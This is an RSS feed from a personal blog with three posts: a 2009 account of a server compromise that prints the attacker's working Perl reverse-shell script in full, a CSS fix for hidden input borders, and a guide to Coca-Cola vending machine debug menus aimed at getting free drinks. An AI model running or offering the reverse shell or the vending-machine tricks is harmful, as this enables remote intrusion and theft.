<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>h4x3d.com &#187; hack</title>
	<atom:link href="http://h4x3d.com/tag/hack/feed/" rel="self" type="application/rss+xml" />
	<link>http://h4x3d.com</link>
	<description>online portfolio of Julian Klewes</description>
	<lastBuildDate>Mon, 25 Jul 2011 13:18:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Latest downtime due to CHMOD 777 insecurity</title>
		<link>http://h4x3d.com/latest-downtime-due-to-chmod-777-insecurity/</link>
		<comments>http://h4x3d.com/latest-downtime-due-to-chmod-777-insecurity/#comments</comments>
		<pubDate>Mon, 02 Mar 2009 09:29:41 +0000</pubDate>
		<dc:creator>jez</dc:creator>
				<category><![CDATA[unsorted]]></category>
		<category><![CDATA[2009]]></category>
		<category><![CDATA[777]]></category>
		<category><![CDATA[chmod]]></category>
		<category><![CDATA[downtime]]></category>
		<category><![CDATA[february]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[solarVPS]]></category>

		<guid isPermaLink="false">http://www.h4x3d.com/latest-downtime-due-to-chmod-777-insecurity/</guid>
		<description><![CDATA[Last time this sort of odd situation occured was way back in 2003 when I had my h4x3d.com website(s) hosted in Germany. People were clueless, but level3 administrators figured it out. WordPress requires some folders to be CHMODDED to 777, read,write, execute all access basically. One of those folders is the wp-content/upload folder. Different programmes, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="float: left;margin: 0 15px 15px 0" src="http://i42.tinypic.com/205a7g6.jpg" alt="exploit, random image however" width="320" height="213" /></p>
<p>Last time this sort of odd situation occured was way back in 2003 when I had my h4x3d.com website(s) hosted in Germany. People were clueless, but level3 administrators figured it out. WordPress requires some folders to be CHMODDED to 777, read,write, execute all access basically. One of those folders is the wp-content/upload folder. Different programmes, because not only wordpress is to &#8220;blame&#8221;, such as coppermine require similar settings for full functionality.</p>
<p>Anyway &#8211; someone from switzerland (bless the logs) had uploaded a perl script to one of the domains and was running excessive ssh scans. This was also why the VPS slowed down and became unresponsive. Since I was not able to restart it manually, I got in contact with my new VPS support at <a href="http://solarvps.com">SolarVPS</a> &#8211; they identified the scans and with my CHMOD 777 clue dropped in, some rootkit scans and other audits they were able to chuck out those unwanted visitors and files within an hour.</p>
<p>This is frankly speaking a support everyone is looking for. At zone.net one had varying support quality due to apparent offshoring of support to people that had no clue and merely redirected requests to the level3 techs. It seems like level3 techs reside at solarvps, else I wonder how they were able to almost instantianiously sort out my problems. I will have to find a solution to the upload folder problem, eventually move it outside the httpdocs? Any advice or comments?</p>
<p>Below you find one of the scripts that was used to call home and cause havoc, I believe this is only the &#8220;gateway&#8221; and &#8220;door opener&#8221; for more destructive commands to be executed:</p>
<p><code>c.txt<br />
#!/usr/bin/perl<br />
use Socket;<br />
$cmd="lpd";<br />
$system='/bin/sh -i';<br />
$0=$cmd;<br />
$target=$ARGV[0];<br />
$port=$ARGV[1];<br />
$iaddr=inet_aton($target) || die("Error: $!\n");<br />
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");<br />
$proto=getprotobyname('tcp');<br />
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");<br />
connect(SOCKET, $paddr) || die("Error: $!\n");<br />
open(STDIN, "&gt;&amp;SOCKET");<br />
open(STDOUT, "&gt;&amp;SOCKET");<br />
open(STDERR, "&gt;&amp;SOCKET");<br />
system($system);<br />
close(STDIN);<br />
close(STDOUT);<br />
close(STDERR);</code></p>
]]></content:encoded>
			<wfw:commentRss>http://h4x3d.com/latest-downtime-due-to-chmod-777-insecurity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Want no border around input hidden field with css?</title>
		<link>http://h4x3d.com/want-no-border-around-input-hidden-field-with-css/</link>
		<comments>http://h4x3d.com/want-no-border-around-input-hidden-field-with-css/#comments</comments>
		<pubDate>Tue, 14 Aug 2007 22:05:07 +0000</pubDate>
		<dc:creator>jez</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hidden]]></category>
		<category><![CDATA[input]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.h4x3d.com/want-no-border-around-input-hidden-field-with-css/</guid>
		<description><![CDATA[Today I worked on a template for another client and run into some strange bug. Well not really a bug, but more of an annoyance that took ten minutes to fix. In the lower part of a site near the commenting box two rectangle border showed up. Obviously this was caused by the input field [...]]]></description>
			<content:encoded><![CDATA[<p>Today I worked on a template for another client and run into some strange bug. Well not really a bug, but more of an annoyance that took ten minutes to fix. In the lower part of a site near the commenting box two rectangle border showed up. Obviously this was caused by the input field and its CSS.</p>
<p>Here is the old css (excerpt)</p>
<pre><code>
input { border: 1px solid rgb(204, 204, 204); padding: 3px 6px; background: rgb(255, 255, 255) none repeat; color: rgb(102, 102, 102); }
</code></pre>
<p><em>and here a quick screencap of what the problem looked like:</em><br />
<img src="http://www.h4x3d.com/wp-content/uploads/border-hidden.gif" width="300" height="100" alt="border-hidden.gif" class="imageframe" /></p>
<p>I applied this quick CSS hack to my code to make the border disappear:</p>
<pre><code>
input[type="hidden"] { border: 0; padding: 0; margin: 0; background: white; }
</code></pre>
<p><em>(marked green in screencap)</em><br />
<img src="http://www.h4x3d.com/wp-content/uploads/border-hidden-css.gif" width="300" height="100" alt="border-hidden-css.gif" class="imageframe" /></p>
<p>Voila, the rectangles are gone. No more annoying borders around hidden input fields with CSS.<br />
<img src="http://www.h4x3d.com/wp-content/uploads/border-hidden-result.gif" width="300" height="100" alt="border-hidden-result.gif" class="imageframe" /></p>
<p><em>I hope this helped anyone. You can do a similar trick with the input property &#8220;submit&#8221; if you want to apply different CSS attributes to your input submit form only.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://h4x3d.com/want-no-border-around-input-hidden-field-with-css/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Hack COKE machines</title>
		<link>http://h4x3d.com/hack-coke-machines/</link>
		<comments>http://h4x3d.com/hack-coke-machines/#comments</comments>
		<pubDate>Sun, 24 Jul 2005 12:37:30 +0000</pubDate>
		<dc:creator>jez</dc:creator>
				<category><![CDATA[essays]]></category>
		<category><![CDATA[2005]]></category>
		<category><![CDATA[coke]]></category>
		<category><![CDATA[comment]]></category>
		<category><![CDATA[english]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hack coke machine]]></category>
		<category><![CDATA[usa]]></category>

		<guid isPermaLink="false">http://www.h4x3d.com/v9.1/?p=3</guid>
		<description><![CDATA[PREFACE Coke vending machines are everywhere. They&#8217;re getting more and more like regular computers with LEDs that show little &#8220;ICE COLD&#8221; messages and whatnot. Well, there&#8217;s a lot more to those little built-in computers than you may think. Included in the low-level operating system that these babies run on is an actual debug menu that [...]]]></description>
			<content:encoded><![CDATA[<p>PREFACE<br />
Coke vending machines are everywhere. They&#8217;re getting more and more like regular computers with LEDs that show little &#8220;ICE COLD&#8221; messages and whatnot. Well, there&#8217;s a lot more to those little built-in computers than you may think. Included in the low-level operating system that these babies run on is an actual debug menu that gives you access to all sorts of machine information and possibly gives you free cokes in older machines.</p>
<p>WHICH MACHINES WORK?<br />
There&#8217;s a very strict list of vending machines that have the debug menu. First off, they&#8217;re all COCA-COLA product vending machines. This means the giant, un-missable picture on the front must show any of the following: Coke, Dasani (Water), Barq&#8217;s Root Beer, Vanilla Coke, Cherry Coke, Sprite, Evlan (water), Fanta, Fresca, Frutopia, Hi-C, Sprite Remix, Mad River, Mello Yello, Minute Maid, Nestea, Odwalla, Mr. Pibb/Pibb Xtra, Planet Java, Power Ade, Seagram&#8217;s Ginger Ale, Simply Orange, Sparkletts, or Tab. Of course anything Diet or Caffeine free works too.<br />
The machine must have an LED screen. Some of the older ones just allow the LED to be set to a price amount and won&#8217;t have the debug menu. You&#8217;re safer if the little LED is telling you something. Usually it will scroll a little message like &#8220;Ice Cold Cokes&#8221;. Newer machines are more likely candidates.</p>
<p>ACCESSING THE MENU<br />
To enter the menu, there&#8217;s a button combination. HERE&#8217;S THE ONLY THING YOU HAVE TO REALLY REMEMBER:</p>
<p>[4]-[2]-[3]-[1]</p>
<p>The buttons are numbered depending on how they are positioned. They will either be vertical (more likely), or in horizontal rows of 4 buttons per row. If it is vertical, the first button is #1, the one below it is #2, and so forth. If the buttons are in horizontal rows, the first button is #1, and the one to the right of it is #2. The numbers work like a type writer after that. In rows of 4, the first button of row 2 will be button #5. So, to review, getting in to the debug menu looks like this:</p>
<p>COKE MACHINE::::::<br />
$1.00 &#8212;&#8212;-<br />
&#8212;&#8212;&#8212;&#8212;-<br />
[ Coke ] &lt;&#8211; Hit this button last<br />
[ Coke ] &lt;&#8211; Hit this button second<br />
[ Diet Coke ] &lt;&#8211; Hit this button third<br />
[ Sprite ] &lt;&#8211; Hit this button first<br />
[ And so on ]<br />
&#8212;&#8212;&#8212;&#8212;-</p>
<p>Some text should show up on the LED (probably the word &quot;Error&quot;, we&#039;ll explain what it means next sections). If nothing happens, your machine doesn&#039;t have the debug menu.</p>
<p>NAVIGATION<br />
To navigate from option to option (What they are is next section), remember the numberings we gave the buttons. They work as follows:<br />
Button [ 1 ] &#8211; Exit/Back<br />
Button [ 2 ] &#8211; Up<br />
Button [ 3 ] &#8211; Down<br />
Button [ 4 ] &#8211; Select</p>
<p>OPTIONS<br />
Depending on the age of the machine, you will get a varying amount of default options available.<br />
On older machines: SALE, VER, EROR, and RTN<br />
On newer machines: CASH, SALE, EROR, and RTN</p>
<p>CASH &#8211; Machine Earnings Display<br />
The CASH option will display how much money is in the machine currently. It generally takes a second or two to load. From here, you can scroll up and down through 12 or 16 different options, depending on the machine age. These other options display how much money was spent on each individual item, classified through its button (or slot, as I like to call it) number.<br />
A neat side note about the slot numbers is that there are more slot numbers than there are actual slot, so usually the last 4 buttons contain zero money. This could be so that the same OS could be used on bigger machines, but the newer machines have even more slot numbers.</p>
<p>SALE &#8211; Total Sale Count<br />
The SALE option displays how many drinks have been sold out of the machine. This tends to be cumulative, but not on all machines. The stock guy is probably supposed to reset this each time he re-stocks. Also, this has the same sub-options as the CASH option, where you can scroll up and down and see how many drinks have been sold from each slot.</p>
<p>VER &#8211; System/Machine Version?<br />
This option will cause a large alphanumeric string to scroll across the LCD. The number looks very much like a serial number, but doesn&#039;t vary from machine to machine. It is most likely the OS or machine version number, but of the older machines that have the option, I haven&#039;t seen one that doesn&#039;t have the same number.</p>
<p>EROR &#8211; Error Log<br />
There are 8 different types of errors &#8211; COLJ (Column Jams), VEnd (Vend Mechanism), door (Door Switch), sels (Select Switch), CHAR (Changer Errors), acce (Acceptor Errors), StS (Space-to-sales errors), and bVal (Bill Validators). The separate types and actual errors are useless, as you assumably can&#039;t get inside the machine, BUT(!) you can clear the errors. Hold the enter (Number 4) button down for about 2 seconds, and it should clear the error.</p>
<p>RTN &#8211; Return<br />
This is simply the return option. Selecting this will exit the debug menu. On newer machines, pressing the BACK button at the main menu will not exit, and RTN must be selected.<br />
A side note: The menu can also be exited by pressing the coin return button.</p>
<p>EXTRAS<br />
By holding in the coin return button and not releasing, on the newer &quot;big-button&quot; machines, this will display the internal temperature in Fahrenheit, as in &quot;42F&quot;.</p>
<p>**Update**<br />
There are many more menu options that are only accessible if they&#039;ve either been enabled from the computer inside the machine, or on the internal computer behind the door (Probably not feasible for you to access).</p>
<p>CPO &#8211; Coin Payout Mode<br />
You can can dump coins from the coin mechanism, and the various menu options allow you to choose which type of coins (Nickels, dimes, etc.) are dumped.</p>
<p>tVFL &#8211; Tube Fill Mode<br />
This is useless to you. This allows you to load coins into the coin tubes, which you can&#039;t do from the outside.</p>
<p>TEST &#8211; Test Routines<br />
This allows you to test the following various routines:<br />
SE Allows you to test the buttons. Will give you number<br />
of button when you press it<br />
SP Sold-out paddle test. Not quite sure, most likely internal function.<br />
Su Sold-out switch test. Same as paddle.<br />
CO Motor test. Will run various column motors.<br />
Cn Coin test. Put in a coin and it will tell you what kind of<br />
coin it is.<br />
nA Note acceptor test. Same as Cn, but for bills.<br />
dSP Display test. Will illuminate various LEDs.<br />
vErS Rattles off version number.</p>
<p>RELY &#8211; Relay test<br />
This tests the relay electronic control of various parts. Do not do, as it will cause damage if various internal parts are not unplugged before usage.</p>
<p>PASS &#8211; Password<br />
This is not normally accessible, but allows you to change the menu password from the 4-2-3-1. Whoo!</p>
<p>PrIC &#8211; Price Setting<br />
Used to set the price for a drink. Not sure how to work it, but it seems simple enough.</p>
<p>StOS &#8211; Space-to-sales routine<br />
Lets you change the STS routine and other options. This means that various buttons will all mean the same thing, i.e. the 6 coke buttons don&#039;t actually vend from 6 different columns, but vend from one (changing when one runs out of course).</p>
<p>COn &#8211; Machine Configuration/Permissions<br />
This is the machine config menu that decides what of these options you are allowed to access through the outside panel. This is probably only accessible with the door open. I won&#039;t go into detail, but I&#039;ll list the Config numbers and what each do: C1 sets price menu on, C2 sets special (manufacturer) options on), C3 disables the &quot;ICE COLD COKE&quot; message. C4 is autoviewing of menu when door is opened, C5 is door switch status, C6 is mysteriously reserved for &quot;future use&quot;, C7 determines whether your money credit stays in for 5 minutes or indefinitely, C8 is Force Vend, C9 allows multiple vends without putting in more money (i.e put in a 5 and get 3 cokes and then your change), and C10 is Escrow Inhibit.</p>
<p>CCoC &#8211; Correct Change Only Control<br />
Adjusts Correct Change only rule to your liking.</p>
<p>TIME &#8211; Time Adjustment<br />
Allows you to set the machine&#039;s local time.</p>
<p>LANG &#8211; Language Selection<br />
Not sure how many languages are supported, but there are apparently more than just English.</p>
<p>USEFULNESS<br />
Unless you can get behind the door, there&#039;s little you can do with this except impress your friends. However, if you&#039;re able to set the C-switches properly, you&#039;ll be able to manipulate the machine in any way you want, get free drinks, change the price, set up cool buy-one-get-one-free deals, etc, etc Smile. Not to forget, knowledge is power. One step closer to free sodas!</p>
<p>Machine</p>
<p>This Works With the old Coca Cola machine but i dont know the new one &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://h4x3d.com/hack-coke-machines/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
	</channel>
</rss>

